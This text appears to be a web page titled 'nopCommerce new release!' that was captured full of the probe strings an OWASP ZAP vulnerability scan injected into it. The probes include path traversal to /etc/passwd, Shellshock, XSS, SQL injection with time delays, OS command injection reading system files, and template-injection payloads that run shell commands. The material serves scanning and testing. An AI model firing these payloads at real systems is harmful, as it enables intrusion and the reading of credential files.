nopCommerce new release!

c:/Windows/system.ini

../../../../../../../../../../../../../../../../Windows/system.ini

c:\Windows\system.ini

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini

/etc/passwd

../../../../../../../../../../../../../../../../etc/passwd

/

../../../../../../../../../../../../../../../../

c:/

c:\

WEB-INF/web.xml

WEB-INF\web.xml

/WEB-INF/web.xml

\WEB-INF\web.xml

thishouldnotexistandhopefullyitwillnot

nopcommerce-new-release

/nopcommerce-new-release

\nopcommerce-new-release

http://www.google.com/

http://www.google.com:80/

http://www.google.com

http://www.google.com/search?q=ZAP

http://www.google.com:80/search?q=ZAP

www.google.com/

www.google.com:80/

www.google.com

www.google.com/search?q=ZAP

www.google.com:80/search?q=ZAP

() { :;}; echo 'x-powered-by: ShellShock-Vulnerable'

() { :;}; /bin/sleep 15

8424209802712692334.owasp.org

https://8424209802712692334.owasp.org

https://8424209802712692334%2eowasp%2eorg

5;URL='https://8424209802712692334.owasp.org'

URL='http://8424209802712692334.owasp.org'

https://8424209802712692334.owasp.org/?

5;URL='https://8424209802712692334.owasp.org/?


'

https://\8424209802712692334.owasp.org

http://\8424209802712692334.owasp.org

<!--#EXEC cmd="ls /"-->

"><!--#EXEC cmd="ls /"--><

<!--#EXEC cmd="dir \"-->

"><!--#EXEC cmd="dir \"--><

0W45pz4p

</p><scrIpt>alert(1);</scRipt><p>

</p><scrIpt>alert(1);</scRipt><p>

</p><img src=x onerror=prompt()><p>

<img src=x onerror=prompt()>

＜img src=x onerror=prompt()＞

zApPX110sS

0W45pz4p

</p><script>alert(1);</script><p>

<img src=x onerror=alert(1);>

</p><script>alert(1);</script><p>

<img src=x onerror=alert(1);>

</p><script>alert(1);</script><p>

<img src=x onerror=alert(1);>

</p><script>alert(1);</script><p>

<img src=x onerror=alert(1);>

'

'

"

"

;

;

'(

'(

AND 1=1 --

' AND '1'='1' --

" AND "1"="1" --

AND 1=1

' AND '1'='1

" AND "1"="1

UNION ALL select NULL --

' UNION ALL select NULL --

" UNION ALL select NULL --

) UNION ALL select NULL --

') UNION ALL select NULL --

/ sleep(15)

' / sleep(15) / '

" / sleep(15) / "

and 0 in (select sleep(15) ) --

' and 0 in (select sleep(15) ) --

" and 0 in (select sleep(15) ) --

where 0 in (select sleep(15) ) --

' where 0 in (select sleep(15) ) --

" where 0 in (select sleep(15) ) --

or 0 in (select sleep(15) ) --

; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --

'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --

"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --

); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --

"java.lang.Thread.sleep"(15000)

/ "java.lang.Thread.sleep"(15000)

' / "java.lang.Thread.sleep"(15000) / '

" / "java.lang.Thread.sleep"(15000) / "

and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --

' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --

(DBMS_SESSION.SLEEP(15))

/ (DBMS_SESSION.SLEEP(15))

' / (DBMS_SESSION.SLEEP(15)) / '

" / (DBMS_SESSION.SLEEP(15)) / "

and exists (DBMS_SESSION.SLEEP(15)) --

case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end

case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --

'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --

"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --

/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end

WAITFOR DELAY '0:0:15' --

' WAITFOR DELAY '0:0:15' --

" WAITFOR DELAY '0:0:15' --

) WAITFOR DELAY '0:0:15' --

) ' WAITFOR DELAY '0:0:15' --

) " WAITFOR DELAY '0:0:15' --

)) WAITFOR DELAY '0:0:15' --

)) ' WAITFOR DELAY '0:0:15' --

)) " WAITFOR DELAY '0:0:15' --

) WAITFOR DELAY '0:0:15' (

";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="

';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='

${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}

${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\

;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));

"+response.write(259,042*177,067)+"

+response.write({0}*{1})+

response.write(259,042*177,067)

cat /etc/passwd

;cat /etc/passwd;

"&cat /etc/passwd&"

";cat /etc/passwd;"

'&cat /etc/passwd&'

';cat /etc/passwd;'

type %SYSTEMROOT%\win.ini

&type %SYSTEMROOT%\win.ini

|type %SYSTEMROOT%\win.ini

"&type %SYSTEMROOT%\win.ini&"

"|type %SYSTEMROOT%\win.ini

'&type %SYSTEMROOT%\win.ini&'

'|type %SYSTEMROOT%\win.ini

get-help

;get-help

";get-help

';get-help

;get-help #

&cat /etc/passwd&

"'

<!--

]]>

zj 8001*2849 zj

zj{5624*1573}zj

zj${1613*6653}zj

zj#{8549*9329}zj

zj{#2512*5508}zj

zj{@1174*7686}zj

zj{{2536*7476}}zj

zj{{=5620*4203}}zj

zj<%=8130*6981%>zj

zj#set($x=4555*2582)${x}zj

zj<p th:text="${6889*5700}"></p>zj

zj{@math key="7972" method="multiply" operand="1376"/}zj

zj{{94760|add:19710}}zj

zj{{print "8884" "2191"}}zj

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") }

#set($engine="")
#set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15"))
#set($null=$proc.waitFor())
${null}

{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}

<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>

#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}

{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}

${__import__("subprocess").check_output("sleep 15", shell=True)}

{{__import__("subprocess").check_output("sleep 15", shell=True)}}

<%=%x(sleep 15)%>

#{%x(sleep 15)}

{system("sleep 15")}

&sleep 15.0&

;sleep 15.0;

"&sleep 15.0&"

";sleep 15.0;"

'&sleep 15.0&'

';sleep 15.0;'

&timeout /T 15.0

|timeout /T 15.0

"&timeout /T 15.0&"

"|timeout /T 15.0

'&timeout /T 15.0&'

'|timeout /T 15.0

;start-sleep -s 15.0

";start-sleep -s 15.0

';start-sleep -s 15.0

;start-sleep -s 15.0 #

GRxTuKsMDcusXmKVGHYjQSOFJKaiNnNvRZpKCTsoiwZYlQSFCOTqWVhAKJdyJXbUoBFnufNXBsYOcusateaGnCbXoVWAcNwudFUdXdijtfanyTJybKrFIUaTGCTDxYGNLgcCbqUQMeOExPJBZSsucTElMBXrlHISwwmqCvQRVTdEjMAWXbbZgCJluThCnjOuOnGTQlWqnCpKsgglBQLERYXuUkKjNqkuCTvROVEQrqEMdDlSATcFlIyQcxPEgGgONFCdFqCjjLPldLNFaYXqfnAYcugIDUfFwnUBTWXcSargOhZQIsBnZnyYcHuyHjMcXMeMLHadBqtVWqfyuZXuXJdpSwFlTLdIOrdmokQVRsmecfiojQIFdpFFgxmdMxXvQDSivwwdyosyYhhbrMnusVrrUpqEuUssNNfNJsSSSNaQKSWPDvbSULkybhMEjFkfGZMvePWUFRJYySGPWHNUUOtVAHZHMnfTpYpDMBCTYELeuViCrQwWDsmlDHPVWbhuWLsKxcNUqKqZFHCiQAOBlfaNWuJSpIZHWcrqgPjrIPmkHOVXbcHOhMLZoLHRuAejQhqkhYAyHgTDrfCFahmhjotAfyRbnIRCJlFMngknFhPOTRdTDIUhsllQVvRfhFDcUDqZMVHSewpTeLWYoArIjlmLFTLKSSRduTbFBoOwfLbbldRWxsrdYoKxUBcJVJIlPUfyFUSMggpYmxILvgQfJbWFrYwVGNOoYuTKknsbDYffmsfQdwReffXqQYkwmNPoHSLcuhLGdeMlZFaYCcvJYoMFCUGXDGCkSEGLaQqKfGGwMPbXXHXTmECaQbFllBuXuBOPUlkNrGccrAsATXIXBRoqjrxoSqudPDfUjitEBIxcMsGoZaFUHEngKFitEHuWMJcfhhsNdRnqwBuhgJEosGeZgiLiQrTSoVFtfjDThHLNEpvHXjInYQlFdcBeXRGXwkddijCNTwwJqOPGEPxSCgPlhRgLRAQXxMwAxgYLdipAyhoSKfiqTRYdetSClwOyqoSqRuwMCyuqygfJQbGGEvPmHNpHhHGhbtRZIcafpfDYPFnHduWaldqKIVBFChPZvjysKmFbxFjnMCrHKOLMgduWGbFgAmsQroFHiVOQjUwvivRgkhbYswiPdvqoUdtBWZcAVSEdgvgSiwGlVBayxqaMQkLIQIjCccMeiKjaaHjXykojtqIfeFkYpdEETeGtxVXnNDWCcRuWyLKNWpVMpPPWwISSgIsBxgsFJvdPkgmgdMPamspoDoliOuFaouOoOgQTkWwXcRBYmvdffSGyyTONHLLkbZLwMDqxcoHKfhbtKLIhGbKDbojVvZurCttWgPULbpFbCkumPSdBHuZHgIIgxJZURODIcyAJOdGHXqOwtVhJKACPepLkLHFcWeHuZgZwCRZyOZEAjTYeIUGgXwSLPUZQrdbvxLhQsHmMjmJDxGAvnRtMMKpEihepVNGrRWcKmIkrxRhZXaCHCSJAygZPYBYJGcEjcEkUhRgNpMfxYprjdKZtavgekafyhmlvLBOBSwTPntefaDpFgGpyMnKOQecmyWgDRCfXtbmhkDgEugsZRksTOrenldtauEPNEeJXpiDdjMCyuVTeUZpRwqwZqtwueKXxPBhilEBHtcsRQPHvsPbwQLTdcfGgsXDnCbOfxLUjsAlBYmDWsTUTZUlANJYrmJSHfpFQNVnWIYuIrGWSkYhmDtFblFsvrFEVmUhoWFMeyVEJHXGoHVwfjpRnqFOuOJQBBuOkcxOLnLlxFhiqChbGNdEBbeHvGpaRILKSVyoSfHdiYnVEGgXKjDyUWuHAcuONKYWhWoDMGOxMtUUYrFUNfMWeyEatJaeyCGiPnnvMUkfBXIXFDqQhnEaVQaKqgjlJZTbOLEKPAEfgyQmiEyvJUiCbfdknVvwooRHthpLuBFoqDMqgRkroAwJtvirBlueYTQKojhPRRCbwSJDICfRYCtYQlXbCVteidRYOHfSlaYpdLNMdSHdSiMlEyMhpQXkpdbvvPXSTlIqeinSdovgZioDbDOQklYNDMRyjXoGVqTfSuHtATwpFkqNuZpLBiuepuPbLVoPHcSPYLktjLyAa

ZAP

ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s

ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n

Set-cookie: Tamper=f6ab539b-d54c-4291-b1f7-eaaa51d47e50

any
Set-cookie: Tamper=f6ab539b-d54c-4291-b1f7-eaaa51d47e50

any?
Set-cookie: Tamper=f6ab539b-d54c-4291-b1f7-eaaa51d47e50

any
Set-cookie: Tamper=f6ab539b-d54c-4291-b1f7-eaaa51d47e50

any?
Set-cookie: Tamper=f6ab539b-d54c-4291-b1f7-eaaa51d47e50

any
Set-cookie: Tamper=f6ab539b-d54c-4291-b1f7-eaaa51d47e50

any?
Set-cookie: Tamper=f6ab539b-d54c-4291-b1f7-eaaa51d47e50

@

+

|

<

<xsl:value-of select="system-property('xsl:vendor')"/>

system-property('xsl:vendor')/>

"/><xsl:value-of select="system-property('xsl:vendor')"/><!--